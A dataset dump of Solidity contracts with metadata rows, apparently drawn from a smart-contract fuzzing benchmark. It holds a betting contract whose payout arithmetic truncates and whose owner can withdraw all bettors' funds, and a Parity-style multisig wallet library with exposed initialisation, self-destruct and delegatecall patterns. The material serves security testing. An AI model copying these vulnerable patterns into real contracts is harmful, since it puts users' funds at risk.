//SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract Gambit { event BetEvent(address addy, uint256 amount, string matchId, string homeTeam, uint256 homeTeamScore, string awayTeam, uint256 awayTeamScore); event ClaimBetEvent(address addy, string matchId, uint betAmount, uint prizeMatchWinner, uint prizePerfectScoreWinner, uint totalPrize); event ResultEvent(string matchId, uint matchWinners, uint perfectScoreWinners, uint matchWinnersAvax, uint perfectScoreWinnersAvax); event RefundBetEvent(address addy, string matchId, uint refund); event LogEvent(address addy, string variable, uint valueint, string valueS, bool valueB); struct Bet { string betId; address addy; uint256 amount; string matchId; string homeTeam; uint256 homeTeamScore; bool homeTeamWinner; string awayTeam; uint256 awayTeamScore; bool awayTeamWinner; bool isTie; bool isMatchWinner; bool isPerfectScoreWinner; uint256 gambitPoints; uint prizeMatchWinner; uint prizePerfectScoreWinner; bool isClaimed; } struct BetValidation { string betId; address addy; string matchId; uint256 amount; bool isMatchWinner; bool isPerfectScoreWinner; uint prizeMatchWinner; uint prizePerfectScoreWinner; bool isClaimed; } struct Match { string id; uint matchDate; uint closingTime; string homeTeam; uint homeTeamScore; bool homeTeamWinner; string awayTeam; uint awayTeamScore; bool awayTeamWinner; bool isTie; bool isClaimable; bool isCancelled; } struct MatchBet { mapping(address => Bet) betsByAddress; mapping (address => Bet) winners; address[] winnersAddress; Bet[] bets; uint matchWinners; uint perfectScoreWinners; uint256 winnersPot; uint256 perfectScorePot; uint256 betsQ; uint matchWinnersAvax; uint perfectScoreWinnersAvax; uint avaxPot; } address payable private owner; mapping (string => MatchBet) public matchesBets; mapping (string => Match) public matches; mapping (address => BetValidation) public betsAddress; struct global { uint256 nextDayPot; uint256 finalPot; uint256 treasuryPot; uint256 foundersClubPot; uint256 minBet; uint256 initialPot; } global public pots; uint256 winnerCut = 60; uint256 perfectScoreCut = 10; uint256 nextDayCut = 10; uint256 finalCut = 5; uint256 treasuryCut = 10; uint256 foundersClubCut = 5; constructor() { owner = payable(msg.sender); pots.nextDayPot = 0; pots.finalPot = 0; pots.treasuryPot = 0; pots.foundersClubPot = 0; pots.minBet = 0.5 ether; pots.initialPot = 0; } modifier onlyOwner() { require(msg.sender == owner); _; } function placeBet(string memory _betId, string memory _matchId, string memory _homeTeam, uint _homeTeamScore, string memory _awayTeam, uint _awayTeamScore) external payable { require(block.timestamp < matches[_matchId].closingTime && !matches[_matchId].isCancelled, "bet cannot be made now"); require(_homeTeamScore >=0 && _awayTeamScore >= 0, "impossible score"); require(msg.value >= pots.minBet, "bet amount too low"); require(matchesBets[_matchId].betsByAddress[msg.sender].amount == 0, "bet already made"); require (msg.sender != owner, "Owner can't make a bet"); uint betAmount = msg.value; emit LogEvent(msg.sender, "betAmount", betAmount, "NA", false); matchesBets[_matchId].betsByAddress[msg.sender].betId = _betId; matchesBets[_matchId].betsByAddress[msg.sender].addy = msg.sender; matchesBets[_matchId].betsByAddress[msg.sender].amount = betAmount; matchesBets[_matchId].betsByAddress[msg.sender].matchId = _matchId; matchesBets[_matchId].betsByAddress[msg.sender].homeTeam = _homeTeam; matchesBets[_matchId].betsByAddress[msg.sender].homeTeamScore = _homeTeamScore; matchesBets[_matchId].betsByAddress[msg.sender].homeTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true; matchesBets[_matchId].betsByAddress[msg.sender].awayTeam = _awayTeam; matchesBets[_matchId].betsByAddress[msg.sender].awayTeamScore = _awayTeamScore; matchesBets[_matchId].betsByAddress[msg.sender].awayTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true; matchesBets[_matchId].betsByAddress[msg.sender].isTie = _homeTeamScore == _awayTeamScore ? true : false; matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner = false; matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner = false; matchesBets[_matchId].betsByAddress[msg.sender].gambitPoints = 1; //matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner = 0; //matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner = 0; matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = false; matchesBets[_matchId].bets.push(matchesBets[_matchId].betsByAddress[msg.sender]); betsAddress[msg.sender].betId = _betId; betsAddress[msg.sender].addy = msg.sender; betsAddress[msg.sender].matchId = _matchId; betsAddress[msg.sender].amount = betAmount; betsAddress[msg.sender].isMatchWinner = false; betsAddress[msg.sender].isPerfectScoreWinner = false; //betsAddress[msg.sender].prizeMatchWinner = 0; //betsAddress[msg.sender].prizePerfectScoreWinner = 0; betsAddress[msg.sender].isClaimed = false; matchesBets[_matchId].avaxPot += betAmount; matchesBets[_matchId].winnersPot += betAmount*winnerCut/100; matchesBets[_matchId].perfectScorePot += betAmount*perfectScoreCut/100; matchesBets[_matchId].betsQ++; pots.nextDayPot += betAmount*nextDayCut/100; pots.finalPot += betAmount*finalCut/100; pots.treasuryPot += betAmount*treasuryCut/100; pots.foundersClubPot += betAmount*foundersClubCut/100; emit BetEvent(msg.sender, betAmount, _matchId, _homeTeam, _homeTeamScore, _awayTeam, _awayTeamScore); } function claimWin(string memory _matchId) external { //require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw"); require(matches[_matchId].isClaimable, "The match is not claimable"); require(matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner, "You are not a winner"); require(!matchesBets[_matchId].betsByAddress[msg.sender].isClaimed, "Your funds has been already withdrawn"); emit LogEvent(msg.sender, "isMatchWinner", 0, "NA", matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner); emit LogEvent(msg.sender, "isPerfectScoreW", 0, "NA", matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner); if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){ emit LogEvent(msg.sender, "ingreso a perfectScore", 0, "NA", false); uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount; emit LogEvent(msg.sender, "betAmountPS", _betAmount, "NA", false); uint _prizeMatchWinner = ((_betAmount/matchesBets[_matchId].matchWinnersAvax)*matchesBets[_matchId].winnersPot); emit LogEvent(msg.sender, "winnersAvax", matchesBets[_matchId].matchWinnersAvax, "NA", false); emit LogEvent(msg.sender, "winnersPot", matchesBets[_matchId].winnersPot, "NA", false); emit LogEvent(msg.sender, "prizeMatchWinner", _prizeMatchWinner, "NA", false); uint _perfectScoreWinnerPrize = (_betAmount/matchesBets[_matchId].perfectScoreWinnersAvax*matchesBets[_matchId].perfectScorePot); emit LogEvent(msg.sender, "perfectScoreWinnersAvax", matchesBets[_matchId].perfectScoreWinnersAvax, "NA", false); emit LogEvent(msg.sender, "perfectScorePot", matchesBets[_matchId].perfectScorePot, "NA", false); emit LogEvent(msg.sender, "_perfectScoreWinnerPrize", _perfectScoreWinnerPrize, "NA", false); uint _totalPrize = _prizeMatchWinner + _perfectScoreWinnerPrize; emit LogEvent(msg.sender, "_totalPrize", _totalPrize, "NA", false); matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner; matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner += _perfectScoreWinnerPrize; emit LogEvent(msg.sender, "prizeMatchWinnerMap1", matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner, "NA", false); emit LogEvent(msg.sender, "prizePSWinnerMap1", matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner, "NA", false); matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true; //emit ResultBetEvent(msg.sender, _matchId, _prizeMatchWinner, _perfectScoreWinnerPrize, _betAmount); matchesBets[_matchId].winnersPot -= _prizeMatchWinner; matchesBets[_matchId].perfectScorePot -= _perfectScoreWinnerPrize; payable(msg.sender).transfer(_totalPrize); emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, _perfectScoreWinnerPrize, _totalPrize); } else if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && !matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){ emit LogEvent(msg.sender, "ingreso a matchWinner", 0, "NA", false); uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount; emit LogEvent(msg.sender, "betAmountMW", _betAmount, "NA", false); uint _prizeMatchWinner = ((_betAmount/matchesBets[_matchId].matchWinnersAvax)*matchesBets[_matchId].winnersPot); emit LogEvent(msg.sender, "winnersAvaxPS", matchesBets[_matchId].matchWinnersAvax, "NA", false); emit LogEvent(msg.sender, "winnersPotPS", matchesBets[_matchId].winnersPot, "NA", false); emit LogEvent(msg.sender, "prizeMatchWinnerPS", _prizeMatchWinner, "NA", false); matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner; matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true; emit LogEvent(msg.sender, "prizeMatchWinnerMap", matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner, "NA", false); matchesBets[_matchId].winnersPot -= _prizeMatchWinner; payable(msg.sender).transfer(_prizeMatchWinner); emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, 0, _prizeMatchWinner); } //uint prizeMatchWinner = matchesBets[_matchId].winners[msg.sender].prizeMatchWinner; //uint prizePerfectScoreWinner = matchesBets[_matchId].winners[msg.sender].prizePerfectScoreWinner; //uint totalPrize = prizeMatchWinner + prizePerfectScoreWinner; //matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true; //betsAddress[msg.sender].matchId = _matchId; //betsAddress[msg.sender].isClaimed = true; //matchesBets[_matchId].winnersPot -= prizeMatchWinner; //matchesBets[_matchId].perfectScorePot -= prizePerfectScoreWinner; //payable(msg.sender).transfer(totalPrize); //emit ClaimBetEvent(msg.sender, _matchId, prizeMatchWinner, prizePerfectScoreWinner, totalPrize); } function withDrawFunds(string memory _matchId) external { require(matches[_matchId].isCancelled, "The match is not cancelled, you can't withdraw funds"); //require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw"); require(matches[_matchId].isClaimable, "The match is not claimable"); uint refund = matchesBets[_matchId].betsByAddress[msg.sender].amount; matchesBets[_matchId].betsByAddress[msg.sender].amount = 0; matchesBets[_matchId].winnersPot -= refund*winnerCut/100; matchesBets[_matchId].perfectScorePot -= refund*perfectScoreCut/100; matchesBets[_matchId].betsQ--; pots.nextDayPot -= refund*nextDayCut/100; pots.finalPot -= refund*finalCut/100; pots.treasuryPot -= refund*treasuryCut/100; pots.foundersClubPot -= refund*foundersClubCut/100; payable(msg.sender).transfer(refund); emit RefundBetEvent(msg.sender, _matchId, refund); } function setResult(string memory _matchId, uint _homeTeamScore, uint _awayTeamScore) external onlyOwner { require(!matches[_matchId].isClaimable, "The result is already seated"); matches[_matchId].homeTeamScore = _homeTeamScore; matches[_matchId].awayTeamScore = _awayTeamScore; bool _hTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true; matches[_matchId].homeTeamWinner = _hTeamWinner; bool _aTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true; matches[_matchId].awayTeamWinner = _aTeamWinner; bool _tie = _homeTeamScore == _awayTeamScore ? true : false; matches[_matchId].isTie = _tie; matchesBets[_matchId].matchWinners = 0; matchesBets[_matchId].perfectScoreWinners = 0; matchesBets[_matchId].matchWinnersAvax = 0; matchesBets[_matchId].perfectScoreWinnersAvax = 0; for (uint i=0; i < matchesBets[_matchId].bets.length; i++){ if ((matchesBets[_matchId].bets[i].homeTeamWinner == _hTeamWinner && matchesBets[_matchId].bets[i].awayTeamWinner == _aTeamWinner) || (matchesBets[_matchId].bets[i].isTie == _tie)){ if (matchesBets[_matchId].bets[i].homeTeamScore == _homeTeamScore && matchesBets[_matchId].bets[i].awayTeamScore == _awayTeamScore){ //matchesBets[_matchId].bets[i].isMatchWinner = true; //matchesBets[_matchId].bets[i].isPerfectScoreWinner = true; //matchesBets[_matchId].bets[i].gambitPoints = 3; betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId; betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true; betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 3; //matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy); matchesBets[_matchId].matchWinners++; matchesBets[_matchId].perfectScoreWinners++; matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount; matchesBets[_matchId].perfectScoreWinnersAvax += matchesBets[_matchId].bets[i].amount; } else { //matchesBets[_matchId].bets[i].isMatchWinner = true; //matchesBets[_matchId].bets[i].isPerfectScoreWinner = false; //matchesBets[_matchId].bets[i].gambitPoints = 2; betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId; betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true; betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 2; //matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy); matchesBets[_matchId].matchWinners++; matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount; } } else { //matchesBets[_matchId].bets[i].isMatchWinner = false; //matchesBets[_matchId].bets[i].isPerfectScoreWinner = false; //matchesBets[_matchId].bets[i].prizeMatchWinner = 0; //matchesBets[_matchId].bets[i].prizePerfectScoreWinner = 0; betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId; betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false; betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0; matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true; betsAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0; betsAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0; betsAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true; } } matches[_matchId].isClaimable = true; emit ResultEvent(_matchId,matchesBets[_matchId].matchWinners, matchesBets[_matchId].perfectScoreWinners,matchesBets[_matchId].matchWinnersAvax, matchesBets[_matchId].perfectScoreWinnersAvax); } function cancelMatch (string memory _matchId) external onlyOwner { require(msg.sender == owner, "Only Owner function"); matches[_matchId].isCancelled = true; } function closeMatch (string memory _matchId) external onlyOwner { require(msg.sender == owner, "Only Owner function"); //matches[_matchId].isClosed = true; matches[_matchId].isClaimable = false; } function createMatches (Match[] memory _matches) external onlyOwner { require(_matches.length > 0, "Array of matches is Empty"); for (uint256 i = 0; i < _matches.length; i++) { matches[_matches[i].id].id = _matches[i].id; //matches[_matches[i].id].matchNumber = _matches[i].matchNumber; matches[_matches[i].id].matchDate = _matches[i].matchDate; matches[_matches[i].id].closingTime = _matches[i].closingTime; matches[_matches[i].id].homeTeam = _matches[i].homeTeam; matches[_matches[i].id].homeTeamScore = _matches[i].homeTeamScore; matches[_matches[i].id].homeTeamWinner = _matches[i].homeTeamWinner; matches[_matches[i].id].awayTeam = _matches[i].awayTeam; matches[_matches[i].id].awayTeamScore = _matches[i].awayTeamScore; matches[_matches[i].id].awayTeamWinner = _matches[i].awayTeamWinner; matches[_matches[i].id].isTie = _matches[i].isTie; //matches[_matches[i].id].isClosed = _matches[i].isClosed; matches[_matches[i].id].isClaimable = _matches[i].isClaimable; matches[_matches[i].id].isCancelled = _matches[i].isCancelled; } } function fundInitialPot() external payable onlyOwner { require(msg.sender == owner, "Only Owner function"); pots.initialPot += msg.value; } function fundInitialPotWithNextDayPot() external onlyOwner { require(msg.sender == owner, "Only Owner function"); pots.initialPot += pots.nextDayPot; } function distributeInitialPot(string[] memory _matchesIds) external onlyOwner { require(msg.sender == owner, "Only Owner function"); uint totalAvax; for (uint i=0; i < _matchesIds.length; i++){ totalAvax += matchesBets[_matchesIds[i]].avaxPot; } for (uint i=0; i < _matchesIds.length; i++){ uint distribution = matchesBets[_matchesIds[i]].avaxPot/totalAvax; uint initialPotForMatch = pots.initialPot*distribution; pots.initialPot -= initialPotForMatch; matchesBets[_matchesIds[i]].winnersPot += initialPotForMatch*winnerCut/100; matchesBets[_matchesIds[i]].perfectScorePot += initialPotForMatch*perfectScoreCut/100; pots.nextDayPot += initialPotForMatch*nextDayCut/100; pots.finalPot += initialPotForMatch*finalCut/100; pots.treasuryPot += initialPotForMatch*treasuryCut/100; pots.foundersClubPot += initialPotForMatch*foundersClubCut/100; } } function setMinBet(uint256 _minBet) external onlyOwner { require(msg.sender == owner, "Only Owner function"); require(_minBet >= 1 ether, "this would be a very small bet amount"); pots.minBet = _minBet; } function withDrawBalance() public payable onlyOwner { require(msg.sender == owner, "Only Owner function"); (bool success,) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } function withDrawPots() public payable onlyOwner { require(msg.sender == owner, "Only Owner function"); uint treasuryPotWD = pots.treasuryPot; uint foundersClubPotWD = pots.foundersClubPot; uint tandfpot = treasuryPotWD + foundersClubPotWD; pots.treasuryPot -= treasuryPotWD; pots.foundersClubPot -= foundersClubPotWD; payable(msg.sender).transfer(tandfpot); } }
102,252
12,168
2c8b0bff6c8dff42f64063e80a22d3ab6961771985b66a28328c078ecb524538
16,725
.sol
Solidity
false
627794329
uni-due-syssec/efcf-framework
c3088c935f567dc7fc286475d6759204b6e44ef5
data/smartbugs-top-1000-balance/0x41849f3bd33ced4a21c73fddd4a595e22a3c2251.sol
4,268
15,258
//sol Wallet // Multi-sig, daily-limited account proxy/wallet. // @authors: // Gav Wood <g@ethdev.com> // single, or, crucially, each of a number of, designated owners. // usage: // interior is executed. pragma solidity ^0.4.9; contract WalletEvents { // EVENTS // this contract only has six types of events: it can accept a confirmation, in which case // we record owner and operation (hash) alongside it. event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // Funds has arrived into the wallet (record how much). event Deposit(address _from, uint value); event SingleTransact(address owner, uint value, address to, bytes data, address created); event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created); // Confirmation still needed for a transaction. event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data); } contract WalletAbi { // Revokes a prior confirmation of the given operation function revoke(bytes32 _operation) external; // Replaces an owner `_from` with another `_to`. function changeOwner(address _from, address _to) external; function addOwner(address _owner) external; function removeOwner(address _owner) external; function changeRequirement(uint _newRequired) external; function isOwner(address _addr) constant returns (bool); function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool); function setDailyLimit(uint _newLimit) external; function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash); function confirm(bytes32 _h) returns (bool o_success); } contract WalletLibrary is WalletEvents { // TYPES // struct for the status of a pending operation. struct PendingState { uint yetNeeded; uint ownersDone; uint index; } // Transaction structure to remember details of transaction lest it need be saved for a later call. struct Transaction { address to; uint value; bytes data; } // MODIFIERS // simple single-sig function modifier. modifier onlyowner { if (isOwner(msg.sender)) _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) _; } // METHODS // gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); } // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function initMultiowned(address[] _owners, uint _required) only_uninitialized { m_numOwners = _owners.length + 1; m_owners[1] = uint(msg.sender); m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[2 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 2 + i; } m_required = _required; } // Revokes a prior confirmation of the given operation function revoke(bytes32 _operation) external { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; uint ownerIndexBit = 2**ownerIndex; var pending = m_pending[_operation]; if (pending.ownersDone & ownerIndexBit > 0) { pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; Revoke(msg.sender, _operation); } } // Replaces an owner `_from` with another `_to`. function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { if (isOwner(_to)) return; uint ownerIndex = m_ownerIndex[uint(_from)]; if (ownerIndex == 0) return; clearPending(); m_owners[ownerIndex] = uint(_to); m_ownerIndex[uint(_from)] = 0; m_ownerIndex[uint(_to)] = ownerIndex; OwnerChanged(_from, _to); } function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { if (isOwner(_owner)) return; clearPending(); if (m_numOwners >= c_maxOwners) reorganizeOwners(); if (m_numOwners >= c_maxOwners) return; m_numOwners++; m_owners[m_numOwners] = uint(_owner); m_ownerIndex[uint(_owner)] = m_numOwners; OwnerAdded(_owner); } function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0) return; if (m_required > m_numOwners - 1) return; m_owners[ownerIndex] = 0; m_ownerIndex[uint(_owner)] = 0; clearPending(); reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { if (_newRequired > m_numOwners) return; m_required = _newRequired; clearPending(); RequirementChanged(_newRequired); } // Gets an owner by 0-indexed position (using numOwners as the count) function getOwner(uint ownerIndex) external constant returns (address) { return address(m_owners[ownerIndex + 1]); } function isOwner(address _addr) constant returns (bool) { return m_ownerIndex[uint(_addr)] > 0; } function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { var pending = m_pending[_operation]; uint ownerIndex = m_ownerIndex[uint(_owner)]; // make sure they're an owner if (ownerIndex == 0) return false; // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; return !(pending.ownersDone & ownerIndexBit == 0); } // constructor - stores initial daily limit and records the present day's index. function initDaylimit(uint _limit) only_uninitialized { m_dailyLimit = _limit; m_lastDay = today(); } function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external { m_dailyLimit = _newLimit; } // resets the amount already spent today. needs many of the owners to confirm. function resetSpentToday() onlymanyowners(sha3(msg.data)) external { m_spentToday = 0; } // throw unless the contract is not yet initialized. modifier only_uninitialized { if (m_numOwners > 0) throw; _; } // constructor - just pass on the owner array to the multiowned and // the limit to daylimit function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized { initDaylimit(_daylimit); initMultiowned(_owners, _required); } // kills the contract sending everything to `_to`. function kill(address _to) onlymanyowners(sha3(msg.data)) external { suicide(_to); } // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit. // If not, goes into multisig process. We provide a hash on return to allow the sender to provide // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value // and _data arguments). They still get the option of using them if they want, anyways. function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) { // first, take the opportunity to check that we're under the daily limit. if ((_data.length == 0 && underLimit(_value)) || m_required == 1) { // yes - just execute the call. address created; if (_to == 0) { created = create(_value, _data); } else { if (!_to.call.value(_value)(_data)) throw; } SingleTransact(msg.sender, _value, _to, _data, created); } else { // determine our operation hash. o_hash = sha3(msg.data, block.number); // store if it's new if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) { m_txs[o_hash].to = _to; m_txs[o_hash].value = _value; m_txs[o_hash].data = _data; } if (!confirm(o_hash)) { ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data); } } } function create(uint _value, bytes _code) internal returns (address o_addr) { assembly { o_addr := create(_value, add(_code, 0x20), mload(_code)) jumpi(invalidJumpLabel, iszero(extcodesize(o_addr))) } } // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order // to determine the body of the transaction from the hash provided. function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) { if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) { address created; if (m_txs[_h].to == 0) { created = create(m_txs[_h].value, m_txs[_h].data); } else { if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data)) throw; } MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created); delete m_txs[_h]; return true; } } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) internal returns (bool) { // determine what index the present sender is: uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; var pending = m_pending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (pending.yetNeeded == 0) { // reset count of confirmations needed. pending.yetNeeded = m_required; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_pendingIndex.length++; m_pendingIndex[pending.index] = _operation; } // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { Confirmation(msg.sender, _operation); // ok - check if count is enough to go ahead. if (pending.yetNeeded <= 1) { // enough confirmations: reset and run interior. delete m_pendingIndex[m_pending[_operation].index]; delete m_pending[_operation]; return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } // returns true. otherwise just returns false. function underLimit(uint _value) internal onlyowner returns (bool) { // reset the spend limit if we're on a different day to last time. if (today() > m_lastDay) { m_spentToday = 0; m_lastDay = today(); } // check to see if there's enough left - if so, subtract and return true. // overflow protection // dailyLimit check if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) { m_spentToday += _value; return true; } return false; } // determines today's index. function today() private constant returns (uint) { return now / 1 days; } function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) { delete m_txs[m_pendingIndex[i]]; if (m_pendingIndex[i] != 0) delete m_pending[m_pendingIndex[i]]; } delete m_pendingIndex; } // FIELDS address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; // the number of owners that must confirm the same operation before it is run. uint public m_required; // pointer used to find a free slot in m_owners uint public m_numOwners; uint public m_dailyLimit; uint public m_spentToday; uint public m_lastDay; // list of owners uint[256] m_owners; uint constant c_maxOwners = 250; // index on the list of owners to allow reverse lookup mapping(uint => uint) m_ownerIndex; // the ongoing operations. mapping(bytes32 => PendingState) m_pending; bytes32[] m_pendingIndex; // pending transactions we have at present. mapping (bytes32 => Transaction) m_txs; } contract Wallet is WalletEvents { // WALLET CONSTRUCTOR // calls the `initWallet` method of the Library in this context function Wallet(address[] _owners, uint _required, uint _daylimit) { // Signature of the Wallet Library's init function bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)")); address target = _walletLibrary; // Compute the size of the call data : arrays has 2 // 32bytes for offset and length, plus 32bytes per element ; // plus 2 32bytes for each uint uint argarraysize = (2 + _owners.length); uint argsize = (2 + argarraysize) * 32; assembly { // Add the signature first to memory mstore(0x0, sig) // Add the call data, which is at the end of the // code codecopy(0x4, sub(codesize, argsize), argsize) // Delegate call to the library delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0) } } // METHODS // gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); else if (msg.data.length > 0) _walletLibrary.delegatecall(msg.data); } // Gets an owner by 0-indexed position (using numOwners as the count) function getOwner(uint ownerIndex) constant returns (address) { return address(m_owners[ownerIndex + 1]); } // As return statement unavailable in fallback, explicit the method here function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { return _walletLibrary.delegatecall(msg.data); } function isOwner(address _addr) constant returns (bool) { return _walletLibrary.delegatecall(msg.data); } // FIELDS address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4; // the number of owners that must confirm the same operation before it is run. uint public m_required; // pointer used to find a free slot in m_owners uint public m_numOwners; uint public m_dailyLimit; uint public m_spentToday; uint public m_lastDay; // list of owners uint[256] m_owners; }
270,861
12,169
53ea076d44307ad9f9a1f07b6eddf15016afb796d48b5e27868733ee9cadd218
13,935
.sol
Solidity
false
454080957
tintinweb/smart-contract-sanctuary-arbitrum
22f63ccbfcf792323b5e919312e2678851cff29e
